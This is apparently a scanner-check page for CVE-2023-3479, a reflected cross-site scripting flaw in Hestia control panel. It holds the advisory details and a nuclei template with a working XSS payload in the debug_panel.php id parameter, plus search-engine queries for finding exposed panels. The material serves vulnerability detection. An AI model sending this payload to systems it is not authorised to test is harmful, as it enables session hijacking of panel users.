CVE-2023-3479· hestiacp / control panel· CWE-79
Hestiacp <= 1.7.7 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it
Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.7.8.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to the latest version of Hestiacp (1.7.8 or higher) to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/templates/pages/debug_panel.php?id={{randstr}}"><script>alert(document.domain)</script>
Positive when: contains "debug-panel" and "<script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-3479 -u <target>
The full check
id: CVE-2023-3479
info:
name: Hestiacp <= 1.7.7 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.7.8.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version of Hestiacp (1.7.8 or higher) to mitigate this vulnerability.
reference:
- https://huntr.dev/bounties/6ac5cf87-6350-4645-8930-8f2876427723/
- https://nvd.nist.gov/vuln/detail/CVE-2023-3479
- https://github.com/hestiacp/hestiacp/commit/2326aa525a7ba14513af783f29cb5e62a476e67a
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-3479
cwe-id: CWE-79
epss-score: 0.01293
epss-percentile: 0.70537
cpe: cpe:2.3:a:hestiacp:control_panel:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: hestiacp
product: control_panel
shodan-query:
- http.favicon.hash:-476299640
- http.title:"hestia control panel"
fofa-query:
- title="hestia control panel"
- icon_hash=-476299640
google-query: intitle:"hestia control panel"
tags: cve2023,cve,huntr,hestiacp,xss,intrusive,vuln
http:
- method: GET
path:
- '{{BaseURL}}/templates/pages/debug_panel.php?id={{randstr}}"><script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- debug-panel
- <script>alert(document.domain)</script>
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://huntr.dev/bounties/6ac5cf87-6350-4645-8930-8f2876427723/
- https://nvd.nist.gov/vuln/detail/CVE-2023-3479
- https://github.com/hestiacp/hestiacp/commit/2326aa525a7ba14513af783f29cb5e62a476e67a
Use this check only on systems you are authorised to test. Where the data comes from